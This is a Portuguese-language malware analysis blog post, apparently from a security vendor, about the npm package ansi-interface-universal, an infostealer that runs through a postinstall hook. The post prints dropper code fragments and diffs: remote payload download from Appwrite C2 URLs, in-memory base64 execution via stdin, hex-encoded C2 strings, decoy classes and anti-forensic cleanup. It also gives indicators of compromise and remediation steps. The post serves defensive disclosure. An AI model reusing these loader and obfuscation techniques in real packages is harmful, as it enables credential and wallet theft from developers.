Às 08:46 UTC do dia 23 de janeiro de 2026, o nosso sistema de deteção de malware sinalizou um pacote chamado ansi-interface-universal. O nome parece uma biblioteca de componentes de interface do utilizador enfadonha. A descrição até diz que é "um sistema de componentes de interface do utilizador leve e modular para aplicações web modernas." Muito profissional. Muito normal. Exceto que não é.
O que descobrimos é um sofisticado infostealer de múltiplos estágios que descarrega o seu próprio runtime Python, executa uma carga útil altamente ofuscada e exfiltra as credenciais do seu navegador, carteiras de criptomoedas, credenciais na nuvem e tokens Discord para um bucket de armazenamento Appwrite. Ele também carrega uma DLL do Windows incorporada que é injetada nos processos do navegador usando APIs nativas NT. O malware chama-se internamente de "G_Wagon", provavelmente porque os autores têm gostos caros.
Observando um ataque a desenvolver-se em tempo real
Este é interessante porque podemos ver todo o processo de desenvolvimento. O invasor publicou 10 versões ao longo de dois dias, e cada versão conta parte da história.
Dia 1 (21 de janeiro) - Testando a infraestrutura do dropper:
- v1.0.0 (15:54 UTC): Estrutura inicial utilizando o módulo tar do npm
- v1.2.0 (16:03 UTC): Mudança para o tar do sistema, primeira autodependência
- v1.3.2 (16:09 UTC): Adicionado gancho pós-instalação (ainda sem carga útil)
- v1.3.3 (16:18 UTC): Corrigido um erro de redirecionamento
Dia 2 (23 de janeiro) - Armas:
- v1.3.5 (08:46 UTC): Adicionado URL C2, marca falsa, removido espaço reservado
- v1.3.6 (08:53 UTC): Reativada a autodependência para execução dupla
- v1.3.7 (09:09 UTC): Adicionado anti-forense, mensagens de log sanitizadas
- v1.4.0 (12:27 UTC): Mudança para Frankfurt C2, carga útil agora canalizada através do stdin (sem tocar no disco)
- v1.4.1 (12:48 UTC): Adicionada ofuscação, strings codificadas em hexadecimal, classe de interface do utilizador isca
- v1.4.2 (13:06 UTC): Correção de bug (a v1.4.1 danificou o caminho do Python)
O invasor está a iterar ativamente. Enquanto escrevíamos este post, eles lançaram mais três versões.
A fase de testes
As primeiras versões (1.0.0 através de 1.3.3) continham um ficheiro chamado py.py com este conteúdo:
imprimir("código python executado!")É isso. Apenas um espaço reservado para testar se a cadeia de execução funcionava. O invasor estava a construir infraestrutura.
Na versão 1.2.0, eles fizeram uma alteração interessante. Removeram a dependência do npm tar e passaram a gerar diretamente o comando tar do sistema:
- const tar = require('tar');
+ const https = require('https');
- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);
+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);Porquê? Menos dependências npm significam menos área de deteção. Também significa que o pacote funciona sem instalar nada do npm.
Mas introduziram um erro. O redirecionamento não funcionava corretamente:
if (res.statusCode === 302 || res.statusCode === 301) {
downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
return;
}
Eles corrigiram isso na versão 1.3.3:
if (res.statusCode === 302 || res.statusCode === 301) {
const newUrl = res.headers.location;
downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
return;
}
É por isso que vemos a diferença entre as versões 1.3.3 e 1.3.5. Eles testaram, encontraram o bug, corrigiram-no, verificaram se funcionava e, dois dias depois, voltaram para o utilizar como arma.
A militarização
A versão 1.3.5 é onde tudo muda. Vejamos as principais diferenças:
- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');Em vez de executar o espaço reservado local, agora ele descarrega a carga útil de um balde de armazenamento Appwrite.
Eles também acrescentaram um comentário revelador que foi removido na versão final:
// console.log("Fetching latest logic..."); // Uncomment if you want them to see thisO invasor estava claramente a pensar na segurança operacional.
A marca falsa
A versão 1.3.5 também adicionou legitimidade. O ficheiro package.json mudou de:
{
"description": "A cross-platform tool powered by Python"
}
Para:
{
"description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
"keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
"author": "Universal Design Team",
"license": "MIT"
}
Eles adicionaram um README.md cheio de palavras da moda:
A Universal UI é uma biblioteca primitiva de componentes declarativos concebida para a renderização de interfaces de alto desempenho. Ela fornece uma camada unificada para gerenciar estados visuais, temas e sistemas de layout em arquiteturas de aplicativos modernas.
E o meu favorito pessoal:
Motor de renderização virtual: Algoritmo de comparação otimizado que garante transições suaves e repinturas mínimas durante as mudanças de estado.
Nada disso é real. Não existe nenhum ThemeProvider. Não existe nenhum Virtual Rendering Engine. Existe apenas malware.
O truque da autossuficiência
Veja o ficheiro package.json da versão 1.3.7:
{
"scripts": {
"postinstall": "node index.js"
},
"dependencies": {
"ansi-universal-ui": "^1.3.5"
}
}
O pacote depende de si mesmo. A versão 1.3.7 requer a versão ^1.3.5. Quando o npm instala o pacote, ele executa o gancho pós-instalação. Em seguida, instala a dependência (uma versão mais antiga de si mesmo), que executa o gancho pós-instalação novamente. Dupla execução.
Curiosamente, eles removeram isso na versão 1.3.5 e voltaram a adicioná-lo na versão 1.3.6. Provavelmente para testar se isso causava problemas.
A Anti-Forense
A versão 1.3.7 adicionou código de limpeza para excluir a carga útil após a execução:
child.on('close', (code) => {
try {
if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
fs.unlinkSync(LOCAL_SCRIPT_PATH);
}
} catch (cleanupErr) {
// Ignore cleanup errors
}
process.exit(code);
});
Eles também higienizaram as mensagens de registo:
- console.log("A configurar o ambiente Python...");
+ console.log("Inicializando tempo de execução da interface do utilizador...");«Configurar o ambiente Python» é suspeito. «Inicializar o tempo de execução da IU» parece ser uma biblioteca de IU legítima a fazer o que as bibliotecas de IU fazem.
Ainda em evolução: v1.4.x
Enquanto analisávamos este malware, o invasor lançou mais duas versões. Eles estão a aprender.
v1.4.0 fez uma alteração importante: a carga útil do Python já não toca no disco. Em vez de fazer o download para um ficheiro e executá-lo, o dropper agora busca o Python codificado em base64 do C2, descodifica-o na memória e encaminha-o diretamente para python - via stdin:
e
const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');
const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();Nenhum ficheiro para eliminar. Nenhum artefacto deixado para trás.
A versão 1.4.1 foi mais longe com a ofuscação. A URL C2 agora está dividida em pedaços codificados em hexadecimal:
const _ui_assets = [ "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
"3639363865613536303033313663313238663232", "2f66696c65732f",
"363937333638333830303333343933353735373..."
];const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');Eles também adicionaram uma classe de isca para fazer com que o código parecesse uma biblioteca de interface do utilizador real:
class LayoutCompute {
constructor() { this.matrix = new Float32Array(16); this.x = 0; }
mount(v) { return (v << 2) ^ 0xAF; }
sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}
Os diretórios foram renomeados de python_runtime para lib_core/renderizador. Variáveis como código python tornou-se _textura_dados. A função configuraçãoPython tornou-se _init_layer. Agora tudo parece código de renderização gráfica.
Eles também mudaram exclusivamente para o servidor C2 de Frankfurt, abandonando o terminal de Nova Iorque.
A versão 1.4.2 chegou 18 minutos depois. Eles estragaram alguma coisa. O comentário no código diz tudo:
// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure
Em v1.4.1, eles renomearam o diretório para renderer para ofuscação estética, mas o tarball Python extrai para uma pasta chamada python. Oops. O malware não teria funcionado. v1.4.2 corrige isso mantendo a codificação hexadecimal.
Fase 2: Ladrão do G_Wagon
A carga útil do Python é onde as coisas ficam interessantes. O código é ofuscado com nomes de variáveis de uma única letra e constantes de cadeia, mas a funcionalidade fica clara assim que se analisa.
A primeira coisa que o malware faz é verificar se existe um ficheiro chamado .gwagon_status no seu diretório pessoal. Este ficheiro contém um contador. Se já tiver sido infetado duas vezes, ele para de funcionar. Não há necessidade de roubar os mesmos dados repetidamente.
Então começa a funcionar.
Credenciais do navegador: O ladrão tem como alvo o Chrome, o Edge e o Brave, tanto no Windows quanto no macOS. No Windows, ele encerra os processos do navegador, gera uma nova instância com o Chrome DevTools Protocol ativado e extrai todos os cookies. Ele também descriptografa as senhas salvas usando a API de proteção de dados do Windows. No macOS, ele extrai a chave de criptografia do Keychain e usa o OpenSSL para descriptografar os dados de login.
Carteiras de criptomoedas: Este é o verdadeiro prémio. O malware tem como alvo mais de 100 extensões de carteiras de navegador. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus e dezenas de outras. Ele copia todo o diretório de dados da extensão para cada carteira que encontra.
A lista completa inclui carteiras para Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals e praticamente todos os ecossistemas de blockchain que você possa imaginar.
Cloud : se já configurou a AWS CLI, Azure CLI ou Google Cloud na sua máquina, o malware copia os seus ficheiros de credenciais. O mesmo se aplica às chaves SSH e ao seu kubeconfig. Toda a sua infraestrutura na nuvem, potencialmente acessível com um único ficheiro zip.
Tokens de mensagens: O roubo de tokens do Discord tem sido uma característica comum do malware npm há anos, e o G_Wagon não decepciona. Ele também rouba os tokens do Telegram. tdata diretório e ficheiros de autenticação Steam.
A Exfiltração
Todos os dados roubados são compactados e enviados para o bucket Appwrite do invasor. Os nomes dos ficheiros seguem um padrão: {nome de utilizador}@{nome do host}_{navegador}_{perfil}_{ficheiro original}.
O malware tem dois servidores C2 configurados:
- Primário:
nyc.cloud.appwrite[.]io(ID do projeto:6886229e003d46469fab) - Cópia de segurança:
fra.cloud.appwrite[.]io(ID do projeto:6968e9e9000ee4ac710c)
Para ficheiros grandes, divide os dados em partes de 5 MB e carrega-os sequencialmente. Ficheiros com mais de 50 MB são divididos em partes de 45 MB. Os autores claramente planejaram isso para vítimas com muitos dados valiosos.
Injeção de DLL
Há mais um elemento que destaca este ladrão. O código Python contém um grande blob codificado em base64 - uma DLL do Windows encriptada com XOR.
c='+qmQZ9cVqpo....==' # Redigido para brevidade - o blob real é muito maiorO código decodifica isto em base64, descriptografa-o com uma chave codificada e, em seguida, injeta-o nos processos do navegador usando APIs nativas do NT: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, e NtCreateThreadEx.
O malware inclui um analisador PE completo que percorre a tabela de exportação à procura de uma função chamada "Inicializar" - esse é o ponto de entrada que ele chama após a injeção.
Remediação e deteção
Se instalou ansi-interface-universal, eis o que precisa fazer imediatamente:
- Remova o pacote do seu projeto e elimine node_modules
- Verifique se o
.gwagon_statusarquivo no seu diretório pessoal (se ele existir, é provável que você tenha sido infectado) - Rodar todas as palavras-passe guardadas no navegador
- Revogue e regenere tokens para quaisquer carteiras de criptomoedas que tenham sido instaladas como extensões do navegador (considere-as comprometidas).
- Rote as credenciais da AWS/Azure/GCP se utilizar essas CLIs
- Regenerar chaves SSH
- Invalidar sessões do Discord e do Telegram
Como saber se você foi afetado usando o Aikido:
Se for Aikido , verifique o seu feed central e filtre as questões relacionadas com malware. A vulnerabilidade será apresentada como uma questão crítica 100/100 no feed. Dica: Aikido os seus repositórios todas as noites, mas recomendamos que também seja realizada uma verificação completa.
Se ainda não é Aikido , crie uma conta e conecte os seus repositórios. A nossa cobertura proprietária contra malware está incluída no plano gratuito (sem necessidade de cartão de crédito).
Para proteção futura, considere usar Aikido Chain (código aberto), um wrapper seguro para npm, npx, yarn e outros gerenciadores de pacotes. O Safe Chain fica nos seus fluxos de trabalho atuais. Ele funciona interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes em busca de malware antes da instalação contra Aikido , nosso Threat Intelligence de código aberto. Pare as ameaças antes que elas atinjam a sua máquina.
Indicadores de Comprometimento
Pacote
- Nome:
ansi-interface-universal - Versões maliciosas: 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1
Hashes de ficheiros (SHA256)
- v1.0.0 index.js:
7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85 - v1.2.0 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 - v1.3.2 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1(idêntico a v1.2.0) - v1.3.3 index.js:
1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7 - v1.3.5 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(MALICIOSO) - v1.3.6 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(idêntico a v1.3.5, MALICIOSO) - v1.3.7 index.js:
eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c(MALICIOSO) - v1.4.0 index.js:
ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432(MALICIOSO) - v1.4.1 index.js:
a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52(MALICIOSO) - py.py (todas as versões):
e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941
Nota: v1.3.5 e v1.3.6 têm idêntico index.js ficheiros (apenas package.json alterado). v1.2.0 e v1.3.2 também são idênticos (apenas adicionado o gancho pós-instalação).
Rede
hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab(v1.3.x)hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c(v1.4.x)- ID do projeto Appwrite (NYC):
6886229e003d46469fab - ID do projeto Appwrite (FRA):
6968e9e9000ee4ac710c - ID do balde Appwrite (NYC):
688625a0000f8a1b71e8 - ID do balde Appwrite (FRA):
6968ea5600316c128f22
Sistema de ficheiros
~/.gwagon_status(contador de execução, oculto no Windows)
Proteja seu software agora



.avif)
